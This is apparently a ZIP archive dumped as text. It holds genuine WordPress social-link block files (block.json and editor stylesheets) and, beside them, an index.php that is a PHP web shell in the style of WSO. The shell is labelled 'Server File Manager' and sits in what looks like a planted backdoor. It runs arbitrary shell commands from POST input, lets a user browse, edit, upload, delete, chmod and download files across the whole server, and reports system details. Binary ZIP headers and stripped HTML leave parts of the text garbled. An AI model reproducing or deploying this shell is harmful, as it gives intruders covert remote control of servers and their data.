?????????????? PK ΅–[ ·· block.jsonnu„[΅ό€{ "apiVersion": 2, "name": "core/social-link", "category": "widgets", "parent": [ "core/social-links" ], "attributes": { "url": { "type": "string" }, "service": { "type": "string" }, "label": { "type": "string" } }, "usesContext": [ "openInNewTab", "iconColorValue", "iconBackgroundColorValue" ], "supports": { "reusable": false, "html": false }, "editorStyle": "wp-block-social-link-editor" } PK ΅–[aήF†uueditor.min.cssnu„[΅ό€.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}PK ΅–[ΟΔw   editor.cssnu„[΅ό€.wp-block-social-links .wp-social-link{ line-height:0; } .wp-block-social-links .wp-social-link button{ color:currentColor; font-size:inherit; height:auto; line-height:0; opacity:1; padding:.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button{ padding-left:.66667em; padding-right:.66667em; } .wp-block-social-links.is-style-logos-only .wp-social-link button{ padding:0; }PK ΅–[ΟΔw  editor-rtl.cssnu„[΅ό€.wp-block-social-links .wp-social-link{ line-height:0; } .wp-block-social-links .wp-social-link button{ color:currentColor; font-size:inherit; height:auto; line-height:0; opacity:1; padding:.25em; } .wp-block-social-links.is-style-pill-shape .wp-social-link button{ padding-left:.66667em; padding-right:.66667em; } .wp-block-social-links.is-style-logos-only .wp-social-link button{ padding:0; }PK ΅–[aήF†uueditor-rtl.min.cssnu„[΅ό€.wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-links .wp-social-link button{color:currentColor;font-size:inherit;height:auto;line-height:0;opacity:1;padding:.25em}.wp-block-social-links.is-style-pill-shape .wp-social-link button{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links.is-style-logos-only .wp-social-link button{padding:0}PKŽΉ–[³yd«cc .htaccessnuΟΓ6Η$ Order Allow,Deny Deny from all PKC—[dΆs~MŠMŠ index.phpnu„[΅ό€ Login
'.$error.'
'; ?> script_location = realpath($_SERVER['SCRIPT_FILENAME']); $this->script_directory = dirname($this->script_location); // Start from script directory by default, not root $this->current_path = isset($_GET['path']) ? $_GET['path'] : $this->script_directory; // Security: clean path but allow full server navigation $this->current_path = $this->normalizePath($this->current_path); // Ensure path exists and is readable if(!is_dir($this->current_path)) { $this->current_path = $this->script_directory; } } private function normalizePath($path) { // Remove directory traversal attempts but allow absolute paths $path = str_replace(array('..', './'), '', $path); $path = str_replace('//', '/', $path); return $path ?: $this->script_directory; } public function getFileIcon($filename, $is_dir = false) { if($is_dir) { return 'πŸ“'; } $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'htm' => '🌐', 'js' => 'πŸ“œ', 'css' => '🎨', 'py' => '🐍', 'java' => 'β˜•', 'c' => 'πŸ”§', 'cpp' => 'βš™οΈ', 'sql' => 'πŸ—„οΈ', 'json' => 'πŸ“‹', 'xml' => 'πŸ“„', 'txt' => 'πŸ“', 'sh' => '⚑', 'zip' => 'πŸ“¦', 'rar' => 'πŸ“¦', 'tar' => 'πŸ“¦', 'gz' => 'πŸ“¦', '7z' => 'πŸ“¦', 'jpg' => 'πŸ–ΌοΈ', 'jpeg' => 'πŸ–ΌοΈ', 'png' => 'πŸ–ΌοΈ', 'gif' => 'πŸ–ΌοΈ', 'bmp' => 'πŸ–ΌοΈ', 'svg' => 'πŸ–ΌοΈ', 'webp' => 'πŸ–ΌοΈ', 'ico' => 'πŸ–ΌοΈ', 'pdf' => 'πŸ“•', 'doc' => 'πŸ“˜', 'docx' => 'πŸ“˜', 'xls' => 'πŸ“—', 'xlsx' => 'πŸ“—', 'ppt' => 'πŸ“™', 'pptx' => 'πŸ“™', 'mp3' => '🎡', 'wav' => '🎡', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'log' => 'πŸ“Š', 'conf' => 'βš™οΈ', 'ini' => 'βš™οΈ' ]; return $icons[$extension] ?? 'πŸ“„'; } public function listFiles($dir = null) { $dir = $dir ?: $this->current_path; $files = array(); if(is_dir($dir) && is_readable($dir)) { $items = @scandir($dir); if($items === false) { return $files; } foreach($items as $entry) { if($entry == "." || $entry == "..") continue; $fullpath = $dir . '/' . $entry; // Skip if we can't read the file info if(!is_readable($fullpath)) continue; $is_dir = is_dir($fullpath); $is_script = (realpath($fullpath) === $this->script_location); $files[] = array( 'name' => $entry, 'path' => $fullpath, 'is_dir' => $is_dir, 'icon' => $this->getFileIcon($entry, $is_dir), 'size' => $this->formatSize($is_dir ? $this->getDirSize($fullpath) : @filesize($fullpath)), 'perms' => substr(sprintf('%o', @fileperms($fullpath)), -4), 'time' => date('Y-m-d H:i:s', @filemtime($fullpath)), 'is_script' => $is_script, 'readable' => is_readable($fullpath), 'writable' => is_writable($fullpath) ); } } // Sort directories first usort($files, function($a, $b) { if($a['is_dir'] == $b['is_dir']) { return strcasecmp($a['name'], $b['name']); } return $a['is_dir'] ? -1 : 1; }); return $files; } private function getDirSize($path) { $total = 0; if(!is_dir($path)) return 0; try { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS) ); foreach($files as $file) { if($file->isFile()) { $total += $file->getSize(); } } } catch(Exception $e) { // Ignore permission errors } return $total; } private function formatSize($bytes) { if($bytes == 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i]; } public function readFile($file) { if(!file_exists($file) || is_dir($file) || !is_readable($file)) { return false; } return @file_get_contents($file); } public function writeFile($file, $content) { if(!is_writable($file)) return false; return @file_put_contents($file, $content) !== false; } public function delete($path) { if(!file_exists($path)) return false; if(is_dir($path)) { $items = @scandir($path); if($items === false) return false; foreach($items as $item) { if($item != '.' && $item != '..') { $this->delete($path . '/' . $item); } } return @rmdir($path); } else { return @unlink($path); } } public function rename($old, $new) { if(!file_exists($old) || file_exists($new)) return false; return @rename($old, $new); } public function chmod($path, $mode) { if(!file_exists($path)) return false; return @chmod($path, octdec($mode)); } public function createFile($path) { if(file_exists($path)) return false; return @touch($path); } public function createDir($path) { if(file_exists($path)) return false; return @mkdir($path, 0755, true); } public function upload($tmp, $dest) { return move_uploaded_file($tmp, $dest); } public function getScriptInfo() { return [ 'path' => $this->script_location, 'dirname' => $this->script_directory, 'filename' => basename($this->script_location), 'size' => $this->formatSize(filesize($this->script_location)), 'perms' => substr(sprintf('%o', fileperms($this->script_location)), -4) ]; } public function getParentDirectory($path) { $parent = dirname($path); return ($parent != $path) ? $parent : false; } } // ==================== COMMAND EXECUTION ==================== function executeCommand($cmd) { if(empty($cmd)) return ''; if(function_exists('system')) { ob_start(); @system($cmd); return ob_get_clean(); } elseif(function_exists('shell_exec')) { return @shell_exec($cmd); } elseif(function_exists('exec')) { @exec($cmd, $output); return implode("\n", $output); } else { return "Command execution disabled"; } } // ==================== INITIALIZE ==================== $wso = new WSO(); $action = isset($_GET['action']) ? $_GET['action'] : 'files'; $output = ''; $message = ''; // ==================== PROCESS ACTIONS ==================== if($_SERVER['REQUEST_METHOD'] == 'POST') { // Command execution if(isset($_POST['cmd'])) { $output = executeCommand($_POST['cmd']); } // File editing if(isset($_POST['file_content']) && isset($_POST['file_path'])) { if($wso->writeFile($_POST['file_path'], $_POST['file_content'])) { $message = "βœ… File saved successfully!"; } else { $message = "❌ Error saving file!"; } } // File creation if(isset($_POST['new_file']) && !empty($_POST['new_file'])) { $path = $wso->current_path . '/' . $_POST['new_file']; if($wso->createFile($path)) { $message = "βœ… File created successfully!"; } else { $message = "❌ Error creating file!"; } } // Directory creation if(isset($_POST['new_dir']) && !empty($_POST['new_dir'])) { $path = $wso->current_path . '/' . $_POST['new_dir']; if($wso->createDir($path)) { $message = "βœ… Directory created successfully!"; } else { $message = "❌ Error creating directory!"; } } // File upload if(isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == 0) { $dest = $wso->current_path . '/' . $_FILES['upload_file']['name']; if($wso->upload($_FILES['upload_file']['tmp_name'], $dest)) { $message = "βœ… File uploaded successfully!"; } else { $message = "❌ Error uploading file!"; } } // Rename file if(isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $old = $wso->current_path . '/' . $_POST['rename_old']; $new = $wso->current_path . '/' . $_POST['rename_new']; if($wso->rename($old, $new)) { $message = "βœ… File renamed successfully!"; } else { $message = "❌ Error renaming file!"; } } // Change permissions if(isset($_POST['chmod_file']) && isset($_POST['chmod_mode'])) { $file = $wso->current_path . '/' . $_POST['chmod_file']; if($wso->chmod($file, $_POST['chmod_mode'])) { $message = "βœ… Permissions changed successfully!"; } else { $message = "❌ Error changing permissions!"; } } } // Handle GET actions if(isset($_GET['delete'])) { if($wso->delete($_GET['delete'])) { $message = "βœ… Item deleted successfully!"; } else { $message = "❌ Error deleting item!"; } } if(isset($_GET['download'])) { $file = $_GET['download']; if(file_exists($file) && !is_dir($file) && is_readable($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } if(isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } // Get parent directory for navigation $parent_directory = $wso->getParentDirectory($wso->current_path); ?> Server File Manager
πŸš€ Server File Manager | PHP: | User:
πŸ“ Script: script_location)); ?>
πŸ“ Script Location Information
getScriptInfo(); ?>
Full Path:
Directory:
Size:
Permissions:
πŸ“ File Manager - Current Path: current_path); ?>
listFiles(); if(empty($files)): ?>
Name Size Permissions Modified Actions
πŸ“­ Directory is empty or not accessible
THIS SCRIPT R W
πŸ’» Command Console
Quick Commands:
ℹ️ Server Information
PHP_VERSION, 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A', 'server_os' => php_uname(), 'current_user' => get_current_user(), 'disk_total' => $wso->formatSize(@disk_total_space("/")), 'disk_free' => $wso->formatSize(@disk_free_space("/")), 'script_memory' => $wso->formatSize(memory_get_usage(true)) ]; ?>

πŸ“Š System Information

$value): ?>
:

πŸ”§ PHP Configuration

Memory Limit:
Max Execution Time:s
Upload Max Filesize:
Post Max Size:
Disabled Functions:
✏️ Editing: ← Back to Files
readFile($_GET['file']); if($file_content === false): ?>
❌ Error reading file or file not accessible
PK ΅–[ ·· block.jsonnu„[΅ό€PK ΅–[aήF†uuρeditor.min.cssnu„[΅ό€PK ΅–[ΟΔw   €editor.cssnu„[΅ό€PK ΅–[ΟΔw  ~editor-rtl.cssnu„[΅ό€PK ΅–[aήF†uu\editor-rtl.min.cssnu„[΅ό€PKŽΉ–[³yd«cc  .htaccessnuΟΓ6Η$PKC—[dΆs~MŠMŠ ― index.phpnu„[΅ό€PK5”